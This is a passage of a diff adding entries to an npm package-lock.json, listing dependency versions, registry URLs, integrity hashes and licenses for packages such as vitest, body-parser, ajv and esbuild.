+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
+ "node_modules/@types/estree": {
+ "version": "1.0.9",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz",
+ "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@types/node": {
+ "version": "22.20.1",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-22.20.1.tgz",
+ "integrity": "sha512-EANqOCF9QFyra+4pfxUcX9STKJpCLjMbObVzljIJomAWSnuSIEAvyzEU53GaajbXJEgdh0iEcPL+DGvpUd4k1Q==",
+ "devOptional": true,
+ "license": "MIT",
+ "dependencies": {
+ "undici-types": "~6.21.0"
+ }
+ },
+ "node_modules/@vitest/expect": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-2.1.9.tgz",
+ "integrity": "sha512-UJCIkTBenHeKT1TTlKMJWy1laZewsRIzYighyYiJKZreqtdxSos/S1t+ktRMQWu2CKqaarrkeszJx1cgC5tGZw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/spy": "2.1.9",
+ "@vitest/utils": "2.1.9",
+ "chai": "^5.1.2",
+ "tinyrainbow": "^1.2.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/@vitest/mocker": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-2.1.9.tgz",
+ "integrity": "sha512-tVL6uJgoUdi6icpxmdrn5YNo3g3Dxv+IHJBr0GXHaEdTcw3F+cPKnsXFhli6nO+f/6SDKPHEK1UN+k+TQv0Ehg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/spy": "2.1.9",
+ "estree-walker": "^3.0.3",
+ "magic-string": "^0.30.12"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ },
+ "peerDependencies": {
+ "msw": "^2.4.9",
+ "vite": "^5.0.0"
+ },
+ "peerDependenciesMeta": {
+ "msw": {
+ "optional": true
+ },
+ "vite": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@vitest/pretty-format": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-2.1.9.tgz",
+ "integrity": "sha512-KhRIdGV2U9HOUzxfiHmY8IFHTdqtOhIzCpd8WRdJiE7D/HUcZVD0EgQCVjm+Q9gkUXWgBvMmTtZgIG48wq7sOQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tinyrainbow": "^1.2.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/@vitest/runner": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-2.1.9.tgz",
+ "integrity": "sha512-ZXSSqTFIrzduD63btIfEyOmNcBmQvgOVsPNPe0jYtESiXkhd8u2erDLnMxmGrDCwHCCHE7hxwRDCT3pt0esT4g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/utils": "2.1.9",
+ "pathe": "^1.1.2"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/@vitest/runner/node_modules/pathe": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz",
+ "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@vitest/snapshot": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-2.1.9.tgz",
+ "integrity": "sha512-oBO82rEjsxLNJincVhLhaxxZdEtV0EFHMK5Kmx5sJ6H9L183dHECjiefOAdnqpIgT5eZwT04PoggUnW88vOBNQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/pretty-format": "2.1.9",
+ "magic-string": "^0.30.12",
+ "pathe": "^1.1.2"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/@vitest/snapshot/node_modules/pathe": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz",
+ "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/@vitest/spy": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-2.1.9.tgz",
+ "integrity": "sha512-E1B35FwzXXTs9FHNK6bDszs7mtydNi5MIfUWpceJ8Xbfb1gBMscAnwLbEu+B44ed6W3XjL9/ehLPHR1fkf1KLQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tinyspy": "^3.0.2"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/@vitest/utils": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-2.1.9.tgz",
+ "integrity": "sha512-v0psaMSkNJ3A2NMrUEHFRzJtDPFn+/VWZ5WxImB21T9fjucJRmS7xCS3ppEnARb9y11OAzaD+P2Ps+b+BGX5iQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/pretty-format": "2.1.9",
+ "loupe": "^3.1.2",
+ "tinyrainbow": "^1.2.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/accepts": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/accepts/-/accepts-2.0.0.tgz",
+ "integrity": "sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==",
+ "license": "MIT",
+ "dependencies": {
+ "mime-types": "^3.0.0",
+ "negotiator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/acorn": {
+ "version": "8.17.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.17.0.tgz",
+ "integrity": "sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==",
+ "dev": true,
+ "license": "MIT",
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/ajv": {
+ "version": "8.20.0",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz",
+ "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==",
+ "license": "MIT",
+ "dependencies": {
+ "fast-deep-equal": "^3.1.3",
+ "fast-uri": "^3.0.1",
+ "json-schema-traverse": "^1.0.0",
+ "require-from-string": "^2.0.2"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/epoberezkin"
+ }
+ },
+ "node_modules/ajv-formats": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz",
+ "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==",
+ "license": "MIT",
+ "dependencies": {
+ "ajv": "^8.0.0"
+ },
+ "peerDependencies": {
+ "ajv": "^8.0.0"
+ },
+ "peerDependenciesMeta": {
+ "ajv": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "license": "MIT",
+ "dependencies": {
+ "color-convert": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/any-promise": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+ "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/assertion-error": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
+ "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/body-parser": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.3.0.tgz",
+ "integrity": "sha512-2cGmJupaNgg+QUwVLAucDuWuoMZ6EX9iHDRswZ5lsNYEmwPaRknMPCLZz07yTzVq/83p4o/wzbDZbBrTvGGTIw==",
+ "license": "MIT",
+ "dependencies": {
+ "bytes": "^3.1.2",
+ "content-type": "^2.0.0",
+ "debug": "^4.4.3",
+ "http-errors": "^2.0.1",
+ "iconv-lite": "^0.7.2",
+ "on-finished": "^2.4.1",
+ "qs": "^6.15.2",
+ "raw-body": "^3.0.2",
+ "type-is": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/body-parser/node_modules/content-type": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.0.0.tgz",
+ "integrity": "sha512-j/O/d7GcZCyNl7/hwZAb606rzqkyvaDctLmckbxLzHvFBzTJHuGEdodATcP3yIRoDrLHkIATJuvzbFlp/ki2cQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/bundle-require": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/bundle-require/-/bundle-require-5.1.0.tgz",
+ "integrity": "sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "load-tsconfig": "^0.2.3"
+ },
+ "engines": {
+ "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ },
+ "peerDependencies": {
+ "esbuild": ">=0.18"
+ }
+ },
+ "node_modules/bytes": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
+ "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/cac": {
+ "version": "6.7.14",
+ "resolved": "https://registry.npmjs.org/cac/-/cac-6.7.14.tgz",
+ "integrity": "sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/call-bind-apply-helpers": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
+ "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "function-bind": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/call-bound": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
+ "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.2",
+ "get-intrinsic": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/chai": {
+ "version": "5.3.3",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-5.3.3.tgz",
+ "integrity": "sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "assertion-error": "^2.0.1",
+ "check-error": "^2.1.1",
+ "deep-eql": "^5.0.1",
+ "loupe": "^3.1.0",
+ "pathval": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/chardet": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.2.0.tgz",
+ "integrity": "sha512-rddelWYNPRrXq6PtNEN2S3f6t9ILzvqaN5pVgi4kqt9jHQaXIial9PznB5iSPVlQSLNaaH22ItWz3EJtQ10+OA==",
+ "license": "MIT"
+ },
+ "node_modules/check-error": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/check-error/-/check-error-2.1.3.tgz",
+ "integrity": "sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 16"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz",
+ "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "readdirp": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 14.16.0"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/cli-width": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz",
+ "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==",
+ "license": "ISC",
+ "engines": {
+ "node": ">= 12"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "license": "MIT",
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "license": "MIT"
+ },
+ "node_modules/commander": {
+ "version": "12.1.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz",
+ "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/confbox": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/confbox/-/confbox-0.1.8.tgz",
+ "integrity": "sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/consola": {
+ "version": "3.4.2",
+ "resolved": "https://registry.npmjs.org/consola/-/consola-3.4.2.tgz",
+ "integrity": "sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "^14.18.0 || >=16.10.0"
+ }
+ },
+ "node_modules/content-disposition": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.1.0.tgz",
+ "integrity": "sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/content-type": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
+ "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/cookie": {
+ "version": "0.7.2",
+ "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz",
+ "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/cookie-signature": {
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz",
+ "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6.6.0"
+ }
+ },
+ "node_modules/cors": {
+ "version": "2.8.6",
+ "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz",
+ "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==",
+ "license": "MIT",
+ "dependencies": {
+ "object-assign": "^4",
+ "vary": "^1"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/cross-spawn": {
+ "version": "7.0.6",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
+ "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
+ "license": "MIT",
+ "dependencies": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/debug": {
+ "version": "4.4.3",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+ "license": "MIT",
+ "dependencies": {
+ "ms": "^2.1.3"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/deep-eql": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-5.0.2.tgz",
+ "integrity": "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/depd": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
+ "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/dunder-proto": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+ "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
+ "license": "MIT",
+ "dependencies": {
+ "call-bind-apply-helpers": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "gopd": "^1.2.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/ee-first": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
+ "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
+ "license": "MIT"
+ },
+ "node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "license": "MIT"
+ },
+ "node_modules/encodeurl": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
+ "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/es-define-property": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+ "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-errors": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+ "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/es-module-lexer": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
+ "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/es-object-atoms": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
+ "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==",
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/esbuild": {
+ "version": "0.27.7",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz",
+ "integrity": "sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.27.7",
+ "@esbuild/android-arm": "0.27.7",
+ "@esbuild/android-arm64": "0.27.7",
+ "@esbuild/android-x64": "0.27.7",
+ "@esbuild/darwin-arm64": "0.27.7",
+ "@esbuild/darwin-x64": "0.27.7",
+ "@esbuild/freebsd-arm64": "0.27.7",
+ "@esbuild/freebsd-x64": "0.27.7",
+ "@esbuild/linux-arm": "0.27.7",
+ "@esbuild/linux-arm64": "0.27.7",
+ "@esbuild/linux-ia32": "0.27.7",
+ "@esbuild/linux-loong64": "0.27.7",
+ "@esbuild/linux-mips64el": "0.27.7",
+ "@esbuild/linux-ppc64": "0.27.7",
+ "@esbuild/linux-riscv64": "0.27.7",
+ "@esbuild/linux-s390x": "0.27.7",
+ "@esbuild/linux-x64": "0.27.7",
+ "@esbuild/netbsd-arm64": "0.27.7",
+ "@esbuild/netbsd-x64": "0.27.7",
+ "@esbuild/openbsd-arm64": "0.27.7",
+ "@esbuild/openbsd-x64": "0.27.7",
+ "@esbuild/openharmony-arm64": "0.27.7",
+ "@esbuild/sunos-x64": "0.27.7",
+ "@esbuild/win32-arm64": "0.27.7",
+ "@esbuild/win32-ia32": "0.27.7",
+ "@esbuild/win32-x64": "0.27.7"
+ }
+ },
+ "node_modules/escape-html": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
+ "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
+ "license": "MIT"
+ },
+ "node_modules/estree-walker": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+ "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0"
+ }
+ },
+ "node_modules/etag": {
+ "version": "1.8.1",
+ "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
+ "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6"
+ }
+ },
+ "node_modules/eventsource": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-3.0.7.tgz",
+ "integrity": "sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==",
+ "license": "MIT",
+ "dependencies": {
+ "eventsource-parser": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=18.0.0"
+ }
+ },
+ "node_modules/eventsource-parser": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.0.tgz",
+ "integrity": "sha512-kJezFj9YFAMLeORyi7aCLxLbD5/qWMQnoMVlVPyHIll7lgRJCc3JVln9Vgl9nwQi0YkMnhdGTMNn7CkRRAptMg==",
